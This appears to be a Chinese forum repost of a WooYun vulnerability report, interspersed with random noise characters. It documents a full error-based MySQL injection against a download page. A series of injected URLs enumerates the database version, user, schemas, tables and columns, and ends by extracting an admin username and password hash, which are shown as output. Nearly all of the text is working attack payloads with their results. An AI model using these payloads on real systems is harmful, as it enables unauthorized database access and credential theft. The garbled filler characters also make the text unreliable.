http://www.wooyun.org/bugs/wooyun-2010-01666
8 C; x' u* b2 [ K/ N" o8 i; _; U# W7 {; }2 \ ?2 W' K; K$ f
之前想找个测试 没想到这有 可以测试下做个记录而已 " {% ?! l( p( `1 l
+ ?) K* L- J) |/ S8 n9 ?2 c
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003
g) C3 a% g$ `6 f9 K R& y7 c: `3 s! W$ { B5 f6 c: }
/data0/htdocs/leqi_new/app/myapp.php
, b" s( `' Z7 a. R/ l4 K, G4 V. F% m! A
或者
0 f t3 Y) y0 Z, E) C, V' x. a
2 _2 n! D, K% `2 ?. }! w& ?/**********version()**********/ 5.1.49-log
& @; X7 N x. l$ h4 j) \; Rhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003: J6 u8 s( J7 s0 s1 z# ?
, l- k) k0 p4 c3 G1 B7 S
/**********user()**********/
9 L2 }0 R6 e$ ]5 n3 W1 F3 khttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003/ i& H3 ?# R0 b$ m
9 ]/ |& e+ ^8 `& j6 n! H5 O# w
/**********database()**********/ leqi% r& R. I# [$ m3 `& ~
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
* P# h9 w( P9 |8 O# k1 n# R: n6 o5 j2 v3 {6 d- n# o
/**********limit依次递归爆库**********/0 m0 ]; |6 ~4 Q( |* a
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0030 T7 }, }& ~4 P
information_schema. q6 _. @$ |2 W
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0030 z5 P' `# N5 A) g' h
leqi, V s8 `/ Z J3 K- M
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
. I9 G1 d) v5 e0 J2 vtest
- ?7 _0 d$ M2 }2 R* p
+ O9 u7 B( R' |: N! h9 `/**********limit依次递归爆表名**********/4 f0 x; z( Z+ H5 R8 S
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
$ l1 P4 U. S7 h( Ousers. j9 T3 V8 I9 Z% ~
: N3 O( l7 D! h9 s& C: R/**********limit依次递归爆字段名**********/3 Z2 J& ]1 S7 A5 H5 N$ q
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
; d5 \# {1 ]8 D, T* u- P ouser_id,username,nickname,passwd,group_id
# m" l3 O* U! J1 c& Qhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23- s/ C/ C# S$ U( v1 M* a% s
/wapc/5000_0005_003" ?) g0 ~# O" B A- n8 _
11 21
' T0 W% E2 r: `' }4 Rhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%236 U. {, _; y! T1 b# u& f* \
/wapc/5000_0005_003( J2 q6 n* P, v' X3 S$ [( U
11 341 351 361+ E1 v+ r& {. |7 q0 Z0 w' J! P
/**********爆数据**********/; D3 M3 u! z1 ?) N1 t
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23+ A1 R# N: X' N* Q; U9 f, p: P
admin6 _0 `, Z; [! M
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
9 g. z( v% F3 w# X& D; t/ h6a8b4574ca231eb8bd52764d4978ffcd s$ W4 Y! h4 F& R
" |3 U+ e4 R5 p" |6 I2 H# |7 T7 K& ]" ]
& u) n) ?) v; h; o+ r) j# a/ n! s
|